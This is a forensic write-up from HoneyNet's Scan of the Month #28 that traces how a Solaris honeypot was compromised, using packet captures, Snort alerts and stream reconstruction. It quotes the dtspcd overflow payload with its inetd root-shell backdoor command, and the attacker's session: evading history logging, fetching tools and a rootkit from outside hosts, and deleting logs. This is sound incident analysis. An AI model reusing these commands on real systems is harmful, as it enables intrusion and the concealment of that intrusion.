HoneyNet's Scan of the Month Challenge
#28.
Authors:
Ashley Thomas
Software Engineer
Cipher Trust
ashley.thomas@ciphertrust.com
athomas@cc.gatech.edu
Vinay A. Mahadik
VAMahadik@FastMail.fm
http://lilly.csoft.net/~vamahadik/
Day 1 Analysis:
Confirm MD5 sum of network dump file:
$ md5sum src_dump/day1.log.gz
79e5871791542c8f38dd9cee2b2bc317 src_dump/day1.log.gz
$ md5sum src_dump/day3.log.gz
af8ab95f41530fe3561b506b422ed636 src_dump/day3.log.gz
$
They match.
Checking for fragmented IP packets:
$ tcpdump -n -r src_dump/day1.log 'ip[6:2]
& 0x3fff != 0'
$ tcpdump -n -r src_dump/day3.log 'ip[6:2] & 0x3fff !=
0'
$
There are no fragmented IP packets in the log; so filters
based on TCP flags etc will work for all packets and we can use tcpflow
for this (as of now, it doesn't handle IP fragments).
Finding/confirming open ports on the honeypot:
It's usually a very useful exercise in noting what TCP/UDP ports
were open at the start of the logs and which ones were suspiciously
opened later on. These latter ones are almost always backdoors
installed after a successful compromise. This connection auditing
is also important to configure Snort/other IDS for the honeypot when
we run it later. Usually though, such open-services information is available
from the system's administrator or direct access to the system itself.
For TCP ports, this is easy. We look for SYN-ACKs
from the honeypot. The source ports of these SYN-ACKs are open
(at least at that point of time). Ports that are not touched and
hence dont show up in the logs can be ignored.
$ tcpdump -n -nn -r src_dump/day1.log -w
src_dump/SynAcksFromHoneypot 'tcp[13] & 18 == 18' and src host
192.168.100.28
$ tethereal -n -r src_dump/SynAcksFromHoneypot | awk {'print
$7'} | sort -n | uniq
1524
6112
7000
32784
32785
32786
32788
32792
32794
$
The incrementing listening port-numbers pattern is almost
always a sign of FTP session (in this case, a FTP client from the
honeypot connected to an Active FTP server outside). A quick manual
check confirms this. We'll be looking at outbound connections from the
honeypot (something suspicious) soon. Let's mark this (outbound FTP connection)
as lead #1.
At this point it is instructive to note that the SYN-ACKs, just
like any other packet, could have been dropped by the kernel under heavy
load and hence never logged. So, there could be more ports open as well.
Missing SYN/SYN-ACKs for TCP sessions' logs is not rare, and a more
reliable way of detecting open ports is to use 23 (ARSF) as the mask
and match that with 18 (AS) or 16 (A) for TCP flags of packets from the
honeypot. For source ports < 1024, this works fine. However, this will
include all the ephemeral source ports (for outbound connections) as
well. Since we already have 3 ports to pursue, we'll stick to this list
for now (if we reach a dead-end, we can review this then).
Other ways of finding open TCP (and UDP) ports are:
- Use Snort/Bro/some IDS and find a vertical (ie port) scan,
and check responses.
- Although imperfect, check RSTs (RST-ACKs) from the honeypot.
Note: 3 most common reasons for a port to generate RSTs are:
- Its a closed port, and a connection arrives on it.
- The OS generates a RST-ACK since the user-space application
just crashed (happens on Windows boxs) [1,2].
- If the socket does an 'abortive release' close() using the SO_LINGER
socket option.
The first two factors have interesting security implications.
If we can find open ports that generated RSTs, it could mean that they
were closed before and were opened after a compromise as backdoors, or
that the application serving the port crashed during a session, which
could mean that there were overflow/other exploits attempts on it.
Despite issues about false positives [1,2], the authors have repeatedly found
that this sort of RST-ACK or FIN-ACK based connection auditing can detect
even exploit attempts missed by IDSs. Please see our entry for SOTM27 [10]
for example.
$ tcpdump -n -nn -r src_dump/day1.log -w src_dump/RstsFromHoneypot
'tcp[13] & 4 == 4' and src host 192.168.100.28
$ tethereal -n -r src_dump/RstsFromHoneypot | awk {'print $7'}
| sort -n | uniq
23
80
113
139
443
1080
1433
1524
3128
6112
8080
32783
32791
32793
32803
The ports in Bold (1524, and 6112) were known to be open (had
generated SYN-ACKs), but have still generated RSTs at some point.
$ tethereal -n -r src_dump/day1.log tcp.port
== 1524 | head
564 33015.633853 61.219.90.180 -> 192.168.100.28 TCP
56709 > 1524 [SYN] Seq=2149411790 Ack=0 Win=5840 Len=0 MSS=1460 TSV=48509942
TSER=0 WS=0
565 33015.633853 192.168.100.28 -> 61.219.90.180 TCP
1524 > 56709 [RST, ACK] Seq=0 Ack=2149411791 Win=0 Len=0
588 33027.703036 61.219.90.180 -> 192.168.100.28 TCP 56712
> 1524 [SYN] Seq=2153507885 Ack=0 Win=5840 Len=0 MSS=1460 TSV=48511145
TSER=0 WS=0
590 33027.703036 192.168.100.28 -> 61.219.90.180 TCP
1524 > 56712 [SYN, ACK] Seq=3127722945 Ack=2153507886
$
$ tethereal -n -r src_dump/day1.log tcp.port == 6112
561 33015.413867 61.219.90.180 -> 192.168.100.28
TCP 56399 > 6112 [SYN] Seq=2151229461 Ack=0 Win=5840 Len=0 MSS=1460
TSV=48509919 TSER=0 WS=0
562 33015.413867 192.168.100.28 -> 61.219.90.180 TCP 6112
> 56399 [SYN, ACK] Seq=3124316702 Ack=2151229462 Win=24616
Len=0 TSV=113867381 TSER=48509919 WS=0
MSS=1460
<snipped several session pkts>
8349 34430.007937 192.168.100.28 -> 61.219.90.180 TCP
6112 > 56399 [RST] Seq=3124316704 Ack=0 Win=0 Len=0
We see the connection audit paying off already! We find that:
- the TCP port 1524 was indeed somehow opened on the honeypot.
- the source IP 61.219.90.180 was involved in this.
- the port 6112 was also somehow involved.
This has all the signs of a compromise, let's mark this as lead
#2, and we'll pursue it soon.
For UDP ports, doing the 'open-ports' analysis is tricky. Unlike
TCP listeners, UDP listeners get to inspect the payload/header of a
request before responding. It just might be that an UDP listener is
looking for a specific content in the UDP request in order to respond.
So for such open ports, no UDP/ICMP-Port-unreachable response clearly
doesn't mean anything:
$ tcpdump -n -nn -r src_dump/day1.log -w
src_dump/udponly udp
$ tcpdump -n -nn -r src_dump/day1.log icmp and src host 192.168.100.28
| grep unreachable | awk {'print $9'} | sort -n | uniq
137
$ tethereal -V -n -r src_dump/udponly ip.dst == 192.168.100.28
| grep "Destination port" | awk {'print $3'} | sort -n | uniq
53
137
32789
$ tethereal -V -n -r src_dump/udponly ip.src == 192.168.100.28
| grep "Source port" | awk {'print $3'} | sort -n | uniq
53
32789
36332
$
32789, through a quick manual analysis, is seen as used as an
ephemeral port and that's why we see the two-way traffic from it. We
find from these tests that UDP port 53 is definitely open on the honeypot.
Port 137 was definitely closed since we see an ICMP Port Unreachable for/from
it.
#
|
Open-UDP
|
Open-TCP
|
Default-Type
|
1.
|
53
|
-
|
DNS
|
2.
|
-
|
1524
|
Ingreslock/Suspect
|
3.
|
-
|
6112
|
Dtspcd
|
4.
|
-
|
7000
|
IRC
|
Finding outbound TCP/UDP connections initiated
by the honeypot:
Fundamentally, since we control a honeypot, any
outbound connections from it that are unintentional/deliberate,
are suspect and potentially imply a compromise. Let's find the
outbound TCP connections initiated by our honeypot.
$ tcpdump -n -nn -r src_dump/day1.log
-w src_dump/OutboundSyns src host 192.168.100.28 and 'tcp[13] &
18 == 2'
$ tethereal -n -r src_dump/OutboundSyns | awk {'print $5"\t"$9'}
| sort | uniq
192.18.99.122 21
206.252.192.195 5555
206.252.192.195 6667
62.211.66.16 21
62.211.66.53 80
$
We find outbound connections to ports 80 (Web), 6667/5555 (IRC),
and 21 (FTP). The outbound FTP session(s) were marked as lead #1,
let's add these collectively to lead #1 as well.
For outbound UDP connections (ignoring a Lot of DNS traffic to/from
port 53):
$ tcpdump -n -nn -r src_dump/day1.log -w
src_dump/OutboundUDP src host 192.168.100.28 and udp and port not 53
$ tethereal -n -V -r src_dump/OutboundUDP | grep -A 3 "Syslog"
Syslog message: DAEMON.WARNING: Nov 29 09:56:18 inetd[167]: ...
0001 1... = Facility: DAEMON - system daemons
(3)
.... .100 = Level: WARNING - warning conditions
(4)
Message: Nov 29 09:56:18 inetd[167]:
[ID 858011 daemon.warning] /usr/dt/bin/rpc.cmsd: Killed
--
Syslog message: DAEMON.WARNING: Nov 29 09:56:18 inetd[167]: ...
0001 1... = Facility: DAEMON - system daemons
(3)
.... .100 = Level: WARNING - warning conditions
(4)
Message: Nov 29 09:56:18 inetd[167]:
[ID 858011 daemon.warning] /usr/sbin/sadmind: Killed
--
Syslog message: DAEMON.ERR: Nov 29 09:56:19 inetd[1773]:...
0001 1... = Facility: DAEMON - system daemons
(3)
.... .011 = Level: ERR - error conditions (3)
Message: Nov 29 09:56:19 inetd[1773]:
[ID 801587 daemon.error] /tmp/x: No such file or directory
$
We see three, very closely spaced (in time), syslog error messages
generated by inetd on the honeypot, and sent to a syslogd on host 192.168.100.158.
Let's mark these as lead #3.
Running Snort 1.9.x on the network dump:
Based on all the open ports' and outbound-connections' information
gathered so far, we have the following configured Snort configuration
file:
$ cat etc/snort.conf.sotm28.day1
var HOME_NET 192.168.100.28/32
var EXTERNAL_NET !$HOME_NET
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
var HTTP_SERVERS $HOME_NET
var SQL_SERVERS $HOME_NET
var TELNET_SERVERS $HOME_NET
var HTTP_PORTS 80
#var SHELLCODE_PORTS !80
var SHELLCODE_PORTS any
var ORACLE_PORTS 1521
var AIM_SERVERS [64.12.24.0/24,64.12.25.0/24,64.12.26.14/24,64.12.28.0/24,64.12.29.0/24,64.12.161.0/24,64.12.163.0/24,205.188.5.0/24,205.188.9.0/24]
var RULE_PATH ../rules
# There are no fragmented packets.
#preprocessor frag2
preprocessor stream4: detect_scans, disable_evasion_alerts
# We can afford this for offline analysis.
preprocessor stream4_reassemble: both, ports all
# Port 80 is Not open.
# preprocessor http_decode: 80 unicode iis_alt_unicode double_encode
iis_flip_slash full_whitespace
# preprocessor rpc_decode: 111 32771
# preprocessor bo: -nobrute
preprocessor conversation: allowed_ip_protocols all, timeout 60, max_conversations
32000
# Paranoid portscan detection
preprocessor portscan2: scanners_max 3200, targets_max 5000, target_limit
5, port_limit 5, timeout 60
include classification.config
include reference.config
include $RULE_PATH/bad-traffic.rules
include $RULE_PATH/exploit.rules
include $RULE_PATH/scan.rules
include $RULE_PATH/finger.rules
include $RULE_PATH/ftp.rules
include $RULE_PATH/telnet.rules
include $RULE_PATH/rpc.rules
include $RULE_PATH/rservices.rules
include $RULE_PATH/dos.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/tftp.rules
include $RULE_PATH/web-cgi.rules
include $RULE_PATH/web-coldfusion.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-frontpage.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-client.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/sql.rules
include $RULE_PATH/x11.rules
include $RULE_PATH/icmp.rules
include $RULE_PATH/netbios.rules
include $RULE_PATH/misc.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/oracle.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/snmp.rules
include $RULE_PATH/smtp.rules
include $RULE_PATH/imap.rules
include $RULE_PATH/pop3.rules
include $RULE_PATH/pop2.rules
include $RULE_PATH/nntp.rules
include $RULE_PATH/other-ids.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/shellcode.rules
include $RULE_PATH/policy.rules
include $RULE_PATH/porn.rules
include $RULE_PATH/info.rules
include $RULE_PATH/icmp-info.rules
include $RULE_PATH/virus.rules
include $RULE_PATH/chat.rules
include $RULE_PATH/multimedia.rules
include $RULE_PATH/p2p.rules
include $RULE_PATH/experimental.rules
#include $RULE_PATH/local.rules
$
$ ./snort -l logs/snort -c etc/snort.conf.sotm28.day1
-A full -b -r src_dump/day1.log
<snipped>
Snort processed 18843 packets.
Breakdown by protocol:
Action Stats:
TCP: 12773 (67.786%)
ALERTS: 2021
UDP: 3948
(20.952%) LOGGED: 1917
ICMP: 2122 (11.261%)
PASSED: 0
ARP: 0
(0.000%)
EAPOL: 0
(0.000%)
IPv6: 0
(0.000%)
IPX: 0
(0.000%)
OTHER: 0
(0.000%)
===============================================================================
Wireless Stats:
Breakdown by type:
Management Packets: 0
(0.000%)
Control Packets: 0
(0.000%)
Data Packets:
0 (0.000%)
===============================================================================
Fragmentation Stats:
Fragmented IP Packets: 0
(0.000%)
Rebuilt IP Packets: 0
Frag elements used: 0
Discarded(incomplete): 0
Discarded(timeout): 0
===============================================================================
TCP Stream Reassembly Stats:
TCP Packets Used: 237
(1.258%)
Reconstructed Packets: 0
(0.000%)
Streams Reconstructed: 31
===============================================================================
$ grep "\[\*\*\]" logs/snort/alert | grep
-v "Portscan" | sort | uniq
[**] [1:1855:2] DDOS Stacheldraht agent->handler (skillz)
[**]
[**] [1:384:4] ICMP PING [**]
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable)
[**]
[**] [1:480:2] ICMP PING speedera [**]
[**] [1:615:3] SCAN SOCKS Proxy attempt [**]
[**] [1:618:2] SCAN Squid Proxy attempt [**]
[**] [1:620:2] SCAN Proxy (8080) attempt [**]
[**] [1:645:3] SHELLCODE sparc NOOP [**]
$
Great! Lots of potential leads. Let's ignore the ones not in bold
- too generic. Let's check others for false positives if any.
Sid 1855 is (now) quite popular Stacheldraht DDoS[3] agent's "heart-beat"
detection. The signature was:
$ grep "sid:1855" rules/*.rules
rules/ddos.rules:alert icmp $EXTERNAL_NET any <> $HOME_NET
any (msg:"DDOS Stacheldraht agent->handler (skillz)"; content:"skillz";
itype:0; icmp_id:6666; reference:url,staff.washington.edu/dittrich/misc/stacheldraht.analysis;
classtype:attempted-dos; sid:1855; rev:2;)
$
It's a bidrectional rule. From the Snort 'alert' file, we find
that they (the ICMP Echo-Reply heart-beats) were generated by the honeypot.
A clear sign of a DDoS agent installed on the honeypot. Let's check the
handler/master IPs the honeypot is communicating with:
$ grep -A 2 ":1855:" logs/snort/alert | grep
" \-> " | awk {'print $4'} | sort -n | uniq
61.134.3.11
217.116.38.10
$ tcpdump -n -nn -r src_dump/day1.log src host 61.134.3.11
$ tcpdump -n -nn -r src_dump/day1.log src host 217.116.38.10
$
The IPs in bold are the master/handler hosts. It seems that they
were down and didn't reciprocate with the DDoS agent on the honeypot.
This is an important set of alerts. Let's mark this as lead #4.
Let's check Sid 480:
$ grep "sid:480" rules/*.rules
rules/icmp.rules:alert icmp $EXTERNAL_NET any -> $HOME_NET any
(msg:"ICMP PING speedera"; content: "|3839 3a3b 3c3d 3e3f|"; depth: 100;
itype: 8; sid:480; classtype:misc-activity; rev:2;)
$
From [4], these are most likely harmless pings used by SpeedEra.net
to make cache-location decisions. Skip this sid.
$ grep "sid:615" rules/*.rules
rules/scan.rules:alert tcp $EXTERNAL_NET any -> $HOME_NET 1080
(msg:"SCAN SOCKS Proxy attempt"; flags:S; reference:url,help.undernet.org/proxyscan/;
classtype:attempted-recon; sid:615; rev:3;)
$
From [5], we find that this is an open-proxy scan made by an external
IRC server when the honeypot attempted to connect to it. This only confirms
what we already know from lead #1. There's no more information here. Let's
skip this.
Sid 618:
$ grep "sid:618" rules/*.rules
rules/scan.rules:alert tcp $EXTERNAL_NET any -> $HOME_NET 3128
(msg:"SCAN Squid Proxy attempt"; flags:S; classtype:attempted-recon;
sid:618; rev:2;)
$
Attempted recon/connection on Squid proxy port 3128. We know it's
closed. Let's skip this too.
Sid 645:
$ grep "sid:645" rules/*.rules
rules/shellcode.rules:alert ip $EXTERNAL_NET any -> $HOME_NET
$SHELLCODE_PORTS (msg:"SHELLCODE sparc NOOP"; content:"|801c 4011 801c
4011 801c 4011 801c 4011|"; reference:arachnids,353; classtype:shellcode-detect;
sid:645; rev:3;)
$
This is a Sparc No-Op sled typically found in buffer-overflow based
exploit attempts. Definitely worth looking into:
$ grep -A 7 ":645:" logs/snort/alert
[**] [1:645:3] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
11/29-08:36:26.503382 61.219.90.180:56711 -> 192.168.100.28:6112
TCP TTL:44 TOS:0x0 ID:61373 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x7FC1DB88 Ack: 0xBA41EB06 Win:
0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 48510034 113867474
[Xref => arachnids 353]
$
Single hit on a session with tcp port 6112 from source host
61.219.90.180 . Excellent! It's the same source IP as lead #2! The exploit
itself best correlates with [9]. Note that we haven't even used an IDS as
yet!
Summarizing the 4 solid leads so far, we have that the honeypot
has attempted connections to ports 80 (web), 21 (FTP), and 6667/5555
(IRC) on external hosts. Source 61.219.90.180 has attempted a buffer-overflow
exploit on dtspcd service (port 6112) and around that time a previously
closed TCP port 1524 has opened up on the Honeypot. The honeypot also
has a Stacheldraht DDoS agent installed on it that is attempting to link
up with two seemingly down handler/master hosts.
Extrapolating from the leads gathered so far, the most probable
analysis would be: The source 61.219.90.180 connected to the dtspcd service
on the honeypot (TCP port 6112), and exploited a buffer overflow on it,
and managed to install a backdoor on TCP port 1524. The attacker then
grabbed some tools, exploits, etc from some web servers and FTP sites and
installed the DDoS agent on the honeypot. It also appears that the honeypot
was made to join a IRC botnet.
Let's see if this is what actually happened.
Analysing leads:
Let's begin with the source IP 61.219.90.180 and its sessions with
the honeypot:
$ tcpdump -n -nn -r src_dump/day1.log -w src_dump/61.219.90.180All
host 61.219.90.180
$ argus -r src_dump/61.219.90.180All -w logs/argus/1.argus
$ ra -A -c -n -r logs/argus/1.argus -z
18 May 03 13:52:21 man version=2.0
probeid=3848370891
STA
29 Nov 02 07:36:25 tcp 61.219.90.180.56709
-> 192.168.100.28.1524 1
1 0
0 sR
29 Nov 02 07:36:26 tcp 61.219.90.180.56711
-> 192.168.100.28.6112 7
6 4178
0 sSEfF
29 Nov 02 07:36:25 tcp 61.219.90.180.56399
-> 192.168.100.28.6112 2
1 0
0 sSE
29 Nov 02 07:36:25 tcp 61.219.90.180.56710
-> 192.168.100.28.6112 7
5 53
70 sSEfF
29 Nov 02 07:36:37 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 6
5 208
168 sSE
29 Nov 02 07:42:15 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 20
16 178
206 sSE
29 Nov 02 07:43:50 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 2
2 12
63 sSE
29 Nov 02 07:45:12 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 115
112 84
604 sSE
29 Nov 02 07:46:25 tcp 192.168.100.28.6112
?> 61.219.90.180.56399 1
1 0
0 f
29 Nov 02 07:46:13 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 153
152 0
365 sSE
29 Nov 02 07:47:14 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 152
153 0
393 sSE
29 Nov 02 07:48:14 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 148
147 0
356 sSE
29 Nov 02 07:49:14 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 155
156 0
371 sSE
29 Nov 02 07:50:14 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 149
149 0
370 sSE
29 Nov 02 07:51:14 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 148
147 0
351 sSE
29 Nov 02 07:52:14 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 80
76 48
338 sSE
29 Nov 02 07:53:18 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 68
63 50
5100 sSE
29 Nov 02 07:54:21 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 122
123 0
754 sSE
29 Nov 02 07:55:21 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 170
170 0
396 sSE
29 Nov 02 07:56:21 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 163
163 0
366 sSE
29 Nov 02 07:57:21 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 159
158 0
371 sSE
29 Nov 02 07:58:21 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 34
34 0
4170 sSE
29 Nov 02 07:59:40 tcp 61.219.90.180.56712
-> 192.168.100.28.1524 16
12 43
2141 sSEfFR
29 Nov 02 07:59:59 tcp 61.219.90.180.56399
?> 192.168.100.28.6112 1
1 0
0 fR
18 May 03 13:52:21 man pkts
3732 bytes 268201 drops
0 flows 0
closed 7
SHT
Nothing amazing, just tells us that the only sessions were with
TCP ports 6112 and 1524. Let's check these sessions a little closer.
From Ethereal's 'Follow this TCP Stream', we save an interesting
session on port 6112:
$ cat logs/6112
00000000 30 30 30 30 30 30 30 32 30 34 31 30 33 65 30
30 00000002 04103e00
00000010 30 33 20 20 34 20 00 00 00 31 30 00 80 1c 40
11 03 4 .. .10...@.
00000020 80 1c 40 11 10 80 01 01 80 1c 40 11 80 1c 40
11 ..@..... ..@...@.
00000030 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40
11 ..@...@. ..@...@.
00000040 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40
11 ..@...@. ..@...@.
00000050 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40
11 ..@...@. ..@...@.
00000060 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40
11 ..@...@. ..@...@.
00000070 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40
11 ..@...@. ..@...@.
00000080 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40
11 ..@...@. ..@...@.
00000090 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40
11 ..@...@. ..@...@.
000000A0 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40
11 ..@...@. ..@...@.
<snipped>
000004B0 80 1c 40 11 80 1c 40 11 80 1c 40 11 20 bf ff
ff ..@...@. ..@. ...
000004C0 20 bf ff ff 7f ff ff ff 90 03 e0 34 92 23 e0
20 ....... ...4.#.
000004D0 a2 02 20 0c a4 02 20 10 c0 2a 20 08 c0 2a 20
0e .. ... . .* ..* .
000004E0 d0 23 ff e0 e2 23 ff e4 e4 23 ff e8 c0 23 ff
ec .#...#.. .#...#..
000004F0 82 10 20 0b 91 d0 20 08 2f 62 69 6e 2f 6b 73
68 .. ... . /bin/ksh
00000500 20 20 20 20 2d 63 20 20 65 63 68 6f 20 22 69
6e -c echo "in
00000510 67 72 65 73 6c 6f 63 6b 20 73 74 72 65 61 6d
20 greslock stream
00000520 74 63 70 20 6e 6f 77 61 69 74 20 72 6f 6f 74
20 tcp nowa it root
00000530 2f 62 69 6e 2f 73 68 20 73 68 20 2d 69 22 3e
2f /bin/sh sh -i">/
00000540 74 6d 70 2f 78 3b 2f 75 73 72 2f 73 62 69 6e
2f tmp/x;/u sr/sbin/
00000550 69 6e 65 74 64 20 2d 73 20 2f 74 6d 70 2f 78
3b inetd -s /tmp/x;
00000560 73 6c 65 65 70 20 31 30 3b 2f 62 69 6e 2f 72
6d sleep 10 ;/bin/rm
00000570 20 2d 66 20 2f 74 6d 70 2f 78 20 41 41 41 41
41 -f /tmp /x AAAAA
00000580 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAA AAAAAAAA
00000590 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 AAAAAAAA AAAAAAAA
<snipped>
$
We note the "801c 4011 801c 4011 801c 4011" Sparc No-Op sled from
lead #2 and Snort alerts. This is where the attacker attempts a buffer
overflow on port 6112 (dtspcd service). The overflow, if successful,
would run the following on the victim host:
$ tcpdump -n -nn -r src_dump/61.219.90.180All
-w - tcp port 6112 | strings | grep ksh
/bin/ksh -c echo "ingreslock stream tcp
nowait root /bin/sh sh -i">/tmp/x;/usr/sbin/inetd -s /tmp/x;sleep
10;/bin/rm -f /tmp/x AAAAAA... <snipped>
$
Briefly, what's happening here is, the attacker installs a "/bin/sh"
backdoor through inetd on the "ingreslock" (TCP port 1524) service port.
We already know the exploit was successful, since the previously closed
TCP port 1524 was opened soon after this attack (from our connection auditing
above). Port 6112 session provides no more interesting info. Let's move
on to the session(s) with port 1524:
We again use Ethereal's "Follow this TCP stream" tool on the 1524
session, and save an ASCII file. Let's go through this very important
session (edited and commented inline) now:
# uname -a; ls -l /core /var/dt/tmp/DTSPCD.log;
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;
export PATH;echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
The '#' confirms a root shell. Checks system OS version info. Checks presence of some files. Sets PATH variable.
Find's inetd's Pid.
SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
BD PID(s): 1773
# wget
wget: not found
'wget' is missing.
# w
9:44am up 13 day(s), 4:24, 0 users, load average: 0.00, 0.00, 0.01
User tty login@ idle JCPU PCPU what
No one's logged in.
# /bin/sh -i
Launch interactive shell.
unset HISTFILE
Unset HISTFILE variable to evade shell commands logging.
# unset DISPLAY
Prevent any redirection of display, unset the DISPLAY variable.
mkdir /usr/share/man/man1/.old
cd /usr/share/man/man1/.old
Create and jump to a stealthy .old directory.
# # # ftp 62.211.66.16 21
bobzz
ftp: ioctl(TIOCGETP): Invalid argument
Password:joka
get wget
get dlp
get solbnc
get iupv6sun
Name (62.211.66.16:root): iupv6sun: No such file or directory.
get ipv6sun
quit
Fetch 4 utils from an external, potentially attacker controlled, FTP server 62.211.66.16
(one of the IPs from lead #1). Let's grab these binaries from the logs:
[62.211.66.16FTP]$ tcpflow -r ../../../src_dump/day1.log tcp and host 62.211.66.16
[62.211.66.16FTP]$ ls
062.211.066.016.00020-192.168.100.028.32784 062.211.066.016.00020-192.168.100.028.32786
062.211.066.016.00021-192.168.100.028.32783 062.211.066.016.00020-192.168.100.028.32785
062.211.066.016.00020-192.168.100.028.32788 192.168.100.028.32783-062.211.066.016.00021
[62.211.66.16FTP]$ file *
062.211.066.016.00020-192.168.100.028.32784: ELF 32-bit MSB executable, SPARC, version 1 (SYSV),
dynamically linked (uses shared libs), stripped
062.211.066.016.00020-192.168.100.028.32785: ASCII text, with CRLF line terminators
062.211.066.016.00020-192.168.100.028.32786: ELF 32-bit MSB executable, SPARC, version 1 (SYSV),
dynamically linked (uses shared libs), stripped
062.211.066.016.00020-192.168.100.028.32788: Bourne shell script text executable
062.211.066.016.00021-192.168.100.028.32783: ASCII text, with CRLF line terminators
192.168.100.028.32783-062.211.066.016.00021: ASCII text, with CRLF, CR line terminators
We find that dlp and ipv6sun are shell scripts and solbnc is an ELF SPARC stripped binary. Let's defer
any reverse engineering for later.
# ls
dlp
ipv6sun
solbnc
wget
# chmod +x solbnc wget dlp
# ./wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
# ./wget http://62.211.66.53/bobzz/sol.tar.gz
--09:47:58-- http://62.211.66.53:80/bobzz/sol.tar.gz
=> `sol.tar.gz'
Connecting to 62.211.66.53:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,884,160 [application/x-tar]
<snipped>
09:55:09 (4.27 KB/s) - `sol.tar.gz' saved [1884160/1884160]
Get another tarball from another similar IP 62.211.66.53 (The web-server connection from lead #1).
Let's grab this binary as well.
[62.211.66.53Web]$ tcpflow -r ../../../src_dump/day1.log tcp and host 62.211.66.53 and port 80
[62.211.66.53Web]$ head -n 20 062.211.066.053.00080-192.168.100.028.32789
HTTP/1.1 200 OK
Date: Fri, 29 Nov 2002 15:45:29 GMT
Server: Apache/1.3.26 (Unix)
Last-Modified: Fri, 15 Nov 2002 11:11:26 GMT
ETag: "4197671-1cc000-3dd4d65e"
Accept-Ranges: bytes
Content-Length: 1884160
Connection: close
Content-Type: application/x-tar
Content-Encoding: x-gzip
sol/0040755000076500007650000000000007565152413010715 5ustar
echo Delete Logz...
echo -------
echo Deleting /var/log...
rm /var/log/secure
rm /var/log/secure.1
rm /var/log/secure.2
rm /var/log/secure.3
rm /var/log/secure.4
[62.211.66.53Web]$ wc -l 062.211.066.053.00080-192.168.100.028.32789
11769 062.211.066.053.00080-192.168.100.028.32789
[62.211.66.53Web]$ tail -n 11759 062.211.066.053.00080-192.168.100.028.32789 > test
[62.211.66.53Web]$ file test
test: GNU tar archive
[62.211.66.53Web]$ mv test sol.tar.gz
[62.211.66.53Web]$ tar xf sol.tar.gz
[62.211.66.53Web]$ ls sol/
103577-13.tar.Z childkiller du fix logo netstat patch.sol7
ping rpass sniffload startbnc switch top x.conf2
109662-03.tar.Z cleaner etc idsol ls passwd patch.sol8
ps setup solsch strings syn utime
110646-03.zip crypt find l2 ls2 patch.sol5 p-engine
psy.tar.Z setup.save sshd su sz wget
111606-02.zip dl findkit login lsof patch.sol6 pg
removekit sn2 ssh-dxe sver szl x.conf
[62.211.66.53Web]$
Looks like a proper rootkit!!.
# rrrrrretar -xf sol.tar.gz
rrrrrretar: not found
# cd sol
sol: does not exist
# ./setup
./setup: not found
# cd sol
sol: does not exist
# tar -xf sol.tar.gz
# cd sol
# ./setup
[0;36mbobz oN ircNet on join #privè
<snipped>
Deleting /var/log...
/var/log/secure: No such file or directory
<snipped> Lots of log file deletion attempts.
---
LogZ Cancellati...
The tools are probably by an Italian author.
[1;37m*[0;37m Checking for existing rootkits..
Remove other rootkits.
[1;37m***[0;37m Insert Rootkit Password :
mixer
[1;37m***[0;37m Using Password mixer
[1;37m***[0;37m Insert Rootkit SSH Port :
5001
[1;37m***[0;37m Using Port 5001
[1;37m***[0;37m Insert Rootkit PsyBNC Port :
7000
[1;37m***[0;37m Using Port 7000
We only saw port 7000 in day1. 5001 wasn't touched and so didn't generate any SYN-ACKs we could detect.
File processed...
[1;37m*[0;37m Making backups... su ping du passwd find ls netstat strings ps Done.
[1;37m*[0;37m Installing trojans... login sshd netstat ls find strings du passwd ping su Complete.
[1;37m*[0;37m Suid removal at atq atrm eject fdformat rdist rdist admintool ufsdump ufsrestore quota ff.core
lpset lpstat netpr arp chkperm Complete.
That's a LOT of trojans!.
[1;37m*[0;37m Starting Patcher...
* Patching...
Done.
Apply patches so others can't get in.
--09:56:21-- ftp://sunsolve.sun.com:21/pub/patches/111085-02.zip
The other FTP server from lead #1. Only unexplained outbound connections now are the IRC server connects.
PaTcH_MsG 2 Patch number 111085-02 is already applied.
